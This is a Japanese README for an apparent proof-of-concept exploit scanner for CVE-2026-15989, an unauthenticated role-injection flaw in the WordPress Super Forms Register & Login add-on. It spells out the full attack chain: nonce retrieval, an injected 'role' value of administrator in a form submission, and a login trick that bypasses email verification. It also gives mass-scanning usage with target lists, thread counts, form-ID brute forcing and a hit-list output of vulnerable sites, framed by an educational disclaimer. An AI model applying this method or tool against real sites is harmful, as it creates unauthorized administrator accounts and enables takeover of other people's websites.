
CVE-2026-15989 に対応する Python 製 PoC スキャナー。WordPress Super Forms の認証不要のロールインジェクションを悪用して管理者アカウントを作成し、アクセスを検証します。
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 フィンガープリント不要の自動検出 · バリデーション対応ペイロード · 認証不要 · 誠実な分類
| WordPress プラグイン | Super Forms – Drag & Drop Form Builder (Register & Login アドオン) |
| 影響を受けるバージョン | <= 6.3.316 |
| 修正済みバージョン | 6.3.317 |
| 認証 | ❌ 不要 — 公開されている登録フォームが1つあれば十分 |
| CVSS | 9.8 CRITICAL |
role キー → 管理者アカウント作成GET admin-ajax.php?action=super_create_nonce ──► _sfs_id セッション + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login アドオン)
│
$other_userdata = array( ..., 'role', ... ) ◄── クライアント側キーがホワイトリスト化
│
$data['role']['value'] ──► $userdata['role'] (register_user_role が上書きされる)
│
wp_insert_user() ──► 🔥 管理者アカウント作成、認証不要
このアドオンは
$data['role']['value']をユーザーデータ配列にそのままコピーし、 管理者が設定したregister_user_roleとの照合も、許可リストも、 ケイパビリティチェックも行わない — 単一の注入された"role": {"value":"administrator"}フィールドで突破できる。
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── 魔法のフィールド
│
check_user_login_status() ──► pending/blocked ゲートがスキップされる
│
GET /wp-admin/users.php
│
200 = 管理者であることを証明 · 403 = 購読者 (修正済みビルド)
このアドオンは POST アクションが
super_submit_formでない場合にのみ メールアクティベーション / モデレーションゲートを適用する — つまり、 ユーザーを登録するのと同じフォームアクションが、メール確認前であっても そのユーザーでのログインを可能にしてしまう。
検出結果が空 (REST · sitemap · リンク · ?page_id プローブ)
│
フェーズ 1 — フォームIDスイープ 1..50、最小ペイロード、IDごとに独自セッション
│ (セッションを共有すると各 nonce が無効化される)
│
'必須フィールド' で拒否 ──► フェーズ 2 — REST マークアップ取得 ──► 完全ペイロードで再試行
│
受理された各候補 ──► IDごとにログイン証明
│
お問い合わせフォーム? ──► UNVERIFIED (誤検知には決してならない)
登録フォーム? ──► 👑 管理者であることを検証済み
登録以外のフォームも
error:falseを返すため、受理された各IDは 実際のログインで認証情報が証明されるまで単なる候補にすぎない。
# 依存関係ゼロ — 純粋な Python 3 標準ライブラリ (rich は任意、コンソール用)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# 並行数 / タイムアウトの調整
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL モード: 検出 + ロール注入 + ログイン証明 + フォームIDブルートフォース (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — 1行につき1つのベースURL:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # 自己署名TLSは自動的に処理される
# コメントと空行は無視される
| オプション | 説明 |
|---|---|
--list FILE | ターゲットファイル — 1行につき1つのURL (必須) |
--output, -o FILE | ヒットリスト — VULNERABLE なターゲットのみをリアルタイムで書き込み (ANSIなし) |
--threads N | 同時ターゲットワーカー数 (デフォルト 10) |
--timeout N | リクエストごとのソケットタイムアウト秒数 (デフォルト 10) |
--full | チェーン全体を実行 — フォームIDブルートフォースのフォールバックを追加 (脆弱なターゲットではアカウントが作成される) |
| 状態 | 意味 |
|---|---|
VULNERABLE | アカウントが作成され、かつ wp-admin 管理者アクセスが証明された (200) |
NOT-VULNERABLE | ログインは成功したが管理者ページが 403 — ロールが無視される → 修正済みビルド |
UNVERIFIED | 送信は受理されたがログインが拒否された (ロック/保留中のアカウント、または登録以外のフォーム) — サイレントな誤検知として報告されることはない |
BLOCKED | 送信が拒否された (reCAPTCHA、CSRF、必須フィールド、ハニーポットなど) |
ERROR | ターゲットに到達不能 / DNS 失敗 — 正確な原因とともに報告される |
wp-json + ?rest_route= フォールバック) → sitemap インデックス → 40以上の多言語登録パス (/register、/kayit-ol、/registrieren など) → ?page_id=N プローブ; あらゆるテーマ、ページビルダー、パーマリンク形式で動作data-validation タイプ (email、number、date、time、phone、IBAN、color、URL)super_create_nonce を _sfs_id セッションにバインド; ブルートフォース試行はそれぞれ独自のセッションを取得するため、nonce が互いを無効化しないVULNERABLE; 修正済みビルドは 403 プローブで区別; ロックされたアカウントは UNVERIFIED として表面化action=super_submit_form を付与し、アドオンのメール確認 / モデレーションゲートをスキップ{{ data.url }})、制御文字、IDN/トルコ語スラッグのホストを自動的にサニタイズ--output は確認済みのターゲットのみを記録し、リアルタイムで追記、常にプレーンテキスト (grep/パースに最適)rich なしでもプレーンテキストに適切にフォールバックrich は任意の見た目の装飾)<= 6.3.316 で Register & Login アドオンが有効、かつ
少なくとも1つの公開フォーム (STANDARD) — FULL モードでは検出可能なフォームは一切不要pip install は不要新しいエクスプロイト、PoC、セキュリティリサーチの公開情報。
このツールは教育および研究目的のみで提供されています。これは公開されている 脆弱性 (CVE-2026-15989) を実証するもので、研究者や管理者が自身のラボ環境を 検証できるようにするためのものです。
このツールを使用することにより、あなたは自身の行為に対して全責任を負うものとします。
バナー: ANTID00T · ANSI Shadow フォント